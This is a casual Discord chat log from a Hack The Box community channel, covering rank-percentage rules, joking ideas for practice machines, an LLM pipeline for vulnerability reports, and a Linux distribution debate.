general

[supple plume]

Why are you always posing on tacticalish gear

[pearl grotto]

My rank progression is at 0% even if I earn points on active machines, why is that

[warped plank]

Because you've been inactive for a while

each rank is associated with a percentage of pwned active, and as boxes retire you lose that percentage

[supple plume]

I think on season change the progress is lost

[west venture]

Because that's the law

[supple plume]

Also this

[pearl grotto]

True, but that's why I solve quite a few active boxes, is there a criteria about how many points I need to move that rank bar

[warped plank]

hacker's 20% ownership so go above 20% active pwns and you should see progress

[supple plume]

Is best to push hard for ranking up until 100% then take a break

[pearl grotto]

My progress bar is at 0% even pwning active boxes which are not seasonal box

[pearl grotto]

Got it

[mystic patio]

🐇

[supple plume]

I can show you exactly

[west venture]

That law should be changed bc I've solved more boxes than what's required to be pro hacker, just not consistently, but I still should get the rank

[warped plank]

I actually agree with this, cos I don't do challenges I'll probably never reach elite

[supple plume]

(ActiveSystemOwns + (ActiveUserOwns / 2) + (ActiveChallengeOwns / 10)) / (activeMachines + (activeMachines / 2) + (activeChallenges / 10)) * 100

This is the actual ownership percent

What matters for getting a higher badge

[west venture]

Ew math

[supple plume]

Just use a bit of python

Don you like snakes?

[hallow stone]

maybe you could give like 5% boost for active players

[west venture]

Yes

windows machines are better imo

Good luck for sure 🔥

[devout sail]

As per the rule htb machines
5m is the time

But they didn't mention on what specs

[willow storm]

lol

[devout sail]

My machine can take 30m and the same hash can be cracked under 5s on a good machine

[willow storm]

so how was expressway

[devout sail]

Easy

I spent more time writing notes than solving

[willow storm]

damn lol

[devout sail]

Yeah it's just my potato is weakest 😁

That's why I just guess passwords instead of cracking

[willow storm]

brilliant move

10 times faster

[devout sail]

If i can guess faster than light, i crack in negative time

[native plume]

scanning is taking time

https://tenor.com/view/batman-thinking-gif-18107621495886085895

ok nvm

[devout sail]

I'll make a machine with ssh on 65535 port with machine name as user and password, then u can su at root with same password

And submit it as insane

[willow storm]

omg thats an insane idea

[native plume]

No no make the ssh port 0 so that if they run nmap with -p- they won't find it

[warped plank]

I mean that's rather difficult, it'd be easier to just use port 0 for port knocking

It's a server setting you can change in linux, it's usually the "wildcard" port where essentially it will provide a random port number to use

[devout sail]

Nah I'll do banner check and give fake results of it being closed unless it's ssh tool that's communicating

Hmm imagine submitting troll machines

What if we submit with 100s of open port with unique webserver on each port and only. 1 being vulnerable

[native plume]

lol

[devout sail]

Making soo many legitimate websites would be pain

[devout sail]

What if it's required
The theme is web server hoster
Who host web separately for people 😭

[untold fiber]

Hmmm

You could sell me on that

[native plume]

That's actaully neat idea

[untold fiber]

Shared web host server

[warped plank]

is basically cloud provider

[devout sail]

See guys ryan didn't say anything about troll ssh machine
Y'all better expect that machine soon

[untold fiber]

Alright I take it back, that's a realistic scenario

[devout sail]

[native plume]

Signing up on that site will create a user with random string and the player would be able to host content and can be accessible under <username>.box.htb

[untold fiber]

Though, I think having many different servers and ports is less realistic than tons of vhosts

[warped plank]

ok then that

find an ssh CVE

[devout sail]

Hmm let's gather 30 of so co creator for this :D

[untold fiber]

Vuln SSH as the intended?

It's happened, I can't remember when the last one would have been

[devout sail]

It is ssh ma7an

I remember everyone thought expressway was ssh exploit 💀💀

[warped plank]

it is, idk what you're talking about

[devout sail]

U can get expressway foothold with this

its just these two options, and that's kinda odd because it doesn't have the RPORT option (and I think it should have since it's a bind payload)

[scenic maple]

the sun is rising

@native plume got my VM up

I am designing AI to analyze vulnerability reports automatically though

[raven rain]

why not just design AI to do the vulnerability assessments for you

[silver forge]

Every vulnerability has a recommendation. But it's not very useful, because there are overarching themes of what should be fixed.

[raven rain]

and then design AI to look at vulnerability reports analyzed by AI

[silver forge]

Pretty sure a bit of deepseek + RAG will generate plain recommendations for non-technical managers

I just need one of the larger models, so I have to buy hardware for this. Considering M4 Max with 96 gigabytes of memory.

That should get me into mid-range for a small investment

[hoary nebula]

it's better to contact customer support for this.

[raven rain]

there is no support in discord for this

sorry i should clarify

no official support

https://tenor.com/view/eggman-sonic-eggman-rage-sonic-colors-dr-robotnik-gif-25027068

hmm I have to first extract remediation targets, and categorize, line per line. then that should be used as RAG, for querying. but not so sure about grouping data hmmhmm

[worthy cargo]

I'm at the university library right now

Some public safety event

Judges are speaking

[rapid badger]

[worthy cargo]

I'm here to network and help host the event

Yeah

It's boring

[silver forge]

judges are usually smart

[worthy cargo]

Yup.

[silver forge]

Damn I caused deepseek to babble about its own design, it simply won't stop.. pages and pages of information coming out

[rapid badger]

Lol. Deepseek does like to yap

[worthy cargo]

Hey man dude homey bro

[silver forge]

deepseek knows confusing amount of stuff about how neural networks work

it's simply at expert level

[worthy cargo]

I use chat get mostly

[rapid badger]

I dont see how you can evaluate that without an actual expert

[silver forge]

damn I have to draw diagrams about the architecure it proposes, but seems like solid advice what it gives

man, most of "AI experts" I have met don't know jackshit about neural networks. no offense. deepseek then again lays out architecture, and gives you working code, and even talks about the harder optimization problems

Going to try and get a homelab spun up today to simulate a mini soc

[silver forge]

I'm going to need a pipeline consisting og summarization, categorization, filtering, re-summarization, then RAG, and then chatbot

and processing excel sheets into something semantically structured

which is probably pandas job

and I might need to use couple separate llms for different tasks

[carmine pecan]

Are you sure you need LLMs on those different tasks

It's easy to overkill

Just saying, there are alternatives

[hallow stone]

I am from an non cs stream but want to enter into cyber

Install arch linux

[hallow stone]

feel like a boomer for saying this but I don't feel the need for too much customizations

[west venture]

You're smart for saying that

[hallow stone]

I'm content with a debian or fedora installation

[west venture]

Debian is better

[hoary nebula]

install Omarchy

[supple plume]

I don't use arch for customization but simplicity

[west venture]

Arch is everything other than simplicity

[supple plume]

Hah

You should give it a try

[hallow stone]

I just want pretty girls as my wallpaper and make the terminal blur lol that is enough for me

[west venture]

Having to install your own DE, configure partitions, networking, etc is not simplicity. It's unwanted complexity

[west venture]

I've used it

[hoary nebula]

skill issue

[hallow stone]

I installed it manually but deleted it after installing

[west venture]

There's other ways to install arch?

[hallow stone]

i meant the archinstall script

[supple plume]

It's 2025 you don't have to compile the kernel

Manually at least

[supple plume]

There is that

[hallow stone]

Wait it was much worse than this ?

[west venture]

Even then, you get updates weekly that are multiple gigabytes that does nothing but break your stuff

[supple plume]

Is using a stupid install script difficult for you?

[hallow stone]

I didn't use the script fyi

[west venture]

A default debian install will give you everything you need.

[supple plume]

The problem is what default is to you

To me default is not a shit pile of packages that I will mever use

[west venture]

My guy you cannot complain debian for having bloat

[hallow stone]

Debian has bloat ?

[supple plume]

Not very bloated but there is stuff

Also the releases

Full upgrade...

That is a burden

[west venture]

Stuff that has like 0.0000000001% impact on your CPU usage and performance?

[supple plume]

I mean debian is decent

But you have better for the same price

[west venture]

Arch is okay if you intentionally want to tinker with your PC. If you just want to use your PC and do work/be productive, arch aucks

[supple plume]

Idk I've been using it for almost 2 years

To work and I enjoyed the experience

[west venture]

Like people still do work fine with windows 11 with all the bloat it has. Debian bloat is practically non existent

Kali is not meant for regular use. Even if you use your laptop only for cyber security stuff, you'll end up making a mess bc Kali is meant to be used in a VM where you can easily snapshot to a default state for every project you do.

[gray terrace]

Before I can start the next one or I would be taking it right now for sure

[rapid badger]

Been running mint for ages. Wanna try something else, looking at omarchy 😄
